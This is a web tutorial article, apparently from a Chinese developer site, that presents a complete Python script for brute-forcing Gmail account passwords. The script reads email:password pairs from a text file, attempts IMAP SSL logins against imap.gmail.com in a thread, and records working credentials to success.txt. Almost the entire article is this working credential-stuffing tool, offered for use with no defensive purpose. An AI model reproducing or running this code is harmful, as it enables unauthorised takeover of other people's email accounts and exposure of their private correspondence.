Home > Article > Backend Development > Python implementation example of cracking email account password
This article mainly introduces the function of Python to implement online brute force cracking of email account passwords. It combines a complete example to analyze the relevant verification and cracking operation skills of Python reading txt dictionary files for email. Friends in need can refer to the following
The example in this article describes how Python implements the online brute force cracking of email account passwords. Share it with everyone for your reference, the details are as follows:
dic dictionary format is as follows (mail.txt):
username@gmail.com:password username@gmail.com:password username@gmail.com:password
and so on, remember to save it as utf -8 encoding format.
Place it in the current script directory, or you can define and modify it yourself.
Support ssl https/imap protocol.
# version 3.4.0 # coding='UTF-8' # time='2014-09-16' import _dummy_thread import imaplib import threading # global variant GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY = [] GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM = 0 GLOBAL_STRING_GMAIL_IMAP4_SERVER = 'imap.gmail.com' GLOBAL_INT_GMAIL_IMAP4_SERVER_PORT = 143 GLOBAL_INT_GMAIL_IMAP4_SSL_PORT = 993 GLOBAL_WORKING_THREAD_MUTEX_LOCK = _dummy_thread.allocate_lock() GLOBAL_ARRAY_BUFFER_MAX_LINES = 1000 GMAIL_BYTES_READED_TOTAL_SIZE = 0 GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES = 0 GLOBAL_READ_FINISH_STATUS_SUCCESS = False # define global function def Write_Save_Success_Gmail_Jobs(indexSuccess): Success_File = open('success.txt', 'a') Success_File.write(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[indexSuccess]) Success_File.close() def Write_Save_Fail_Gmail_Jobs(indexFail): Fail_File = open('fail.txt', 'a') Fail_File.write(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[indexFail]) Fail_File.close() # define global function def Get_Parser_Account_Pwd(Index): strAccountPwd = GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[Index] strUserName, strPassWord = strAccountPwd.split(':', 1) return strUserName, strPassWord # define global function def Veritifying_Gmail_Imap_Account_Pwd(IndexGmail): global GLOBAL_WORKING_THREAD_MUTEX_LOCK global GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES if ((IndexGmail >= 0) and (IndexGmail < GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM)) == True: GLOBAL_WORKING_THREAD_MUTEX_LOCK.acquire() GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES += 1 print('POSITION---------', GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES) print('IMAP INDEX-------', IndexGmail) print('IMAP USERNAME----', GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[IndexGmail]) Write_Save_Fail_Gmail_Jobs(IndexGmail) # GLOBAL_WORKING_THREAD_MUTEX_LOCK.release() print(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[IndexGmail]) GmailImap4 = imaplib.IMAP4_SSL(GLOBAL_STRING_GMAIL_IMAP4_SERVER, GLOBAL_INT_GMAIL_IMAP4_SSL_PORT) GmailImap4.port = GLOBAL_INT_GMAIL_IMAP4_SERVER_PORT # 143 stringGmailUserName, stringGmailPassWord = Get_Parser_Account_Pwd(IndexGmail) try: ResponseStatus = GmailImap4.login(stringGmailUserName, stringGmailPassWord) except GmailImap4.error : print('Logical errors - debug required') Write_Save_Fail_Gmail_Jobs(IndexGmail) GLOBAL_WORKING_THREAD_MUTEX_LOCK.release() return except GmailImap4.abort : print('Service errors - close and retry') GmailImap4.close() Write_Save_Fail_Gmail_Jobs(IndexGmail) GLOBAL_WORKING_THREAD_MUTEX_LOCK.release() return except GmailImap4.readonly: print('Mailbox status changed to read only') GmailImap4.close() Write_Save_Fail_Gmail_Jobs(IndexGmail) GLOBAL_WORKING_THREAD_MUTEX_LOCK.release() return if (ResponseStatus[0] == 'OK'): print('LOGIN SUCCESS') Write_Save_Success_Gmail_Jobs(IndexGmail) GmailImap4.logout() GLOBAL_WORKING_THREAD_MUTEX_LOCK.release() else: GmailImap4.close() print('LOGIN FAIL') print(ResponseStatus) Write_Save_Fail_Gmail_Jobs(IndexGmail) GLOBAL_WORKING_THREAD_MUTEX_LOCK.release() else: return # define global function class Working_Zone_Thread(threading.Thread): m_IndexStart = 0 m_IndexEnd = 0 def __init__(self, numEnd): self.m_IndexEnd = numEnd threading.Thread.__init__(self) def run(self): # run process while True: if self.m_IndexStart < self.m_IndexEnd: Veritifying_Gmail_Imap_Account_Pwd(self.m_IndexStart) self.m_IndexStart = self.m_IndexStart + 1 else: break def _delete(self): threading.Thread._delete(self) print('thread delete is : ', self.getName()) # define read function def Read_Send_Single_Func(): IndexStart = 0 print('--------read----star--') global GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM global GMAIL_BYTES_READED_TOTAL_SIZE global GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY File_Read = open('mail.txt', 'r', encoding='UTF-8') File_Read.seek(GMAIL_BYTES_READED_TOTAL_SIZE, 0) # seek while IndexStart < GLOBAL_ARRAY_BUFFER_MAX_LINES: line = File_Read.readline() if line: GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY.append(line) CbBytes = line.__len__() GMAIL_BYTES_READED_TOTAL_SIZE += CbBytes GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM += 1 IndexStart = IndexStart + 1 else: GLOBAL_READ_FINISH_STATUS_SUCCESS = True break print('gmail read num ', IndexStart) File_Read.close() print('---------read----end--') # main entry if __name__ == '__main__': print('Main Thread Start : ') while True: if GLOBAL_READ_FINISH_STATUS_SUCCESS != True: Read_Send_Single_Func() wzt = Working_Zone_Thread(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM) wzt.start() wzt.join() GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM = 0 GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY.clear() else: print('data has run out : ') break print('Main Thread End : ')
The above is the detailed content of Python implementation example of cracking email account password. For more information, please follow other related articles on the PHP Chinese website!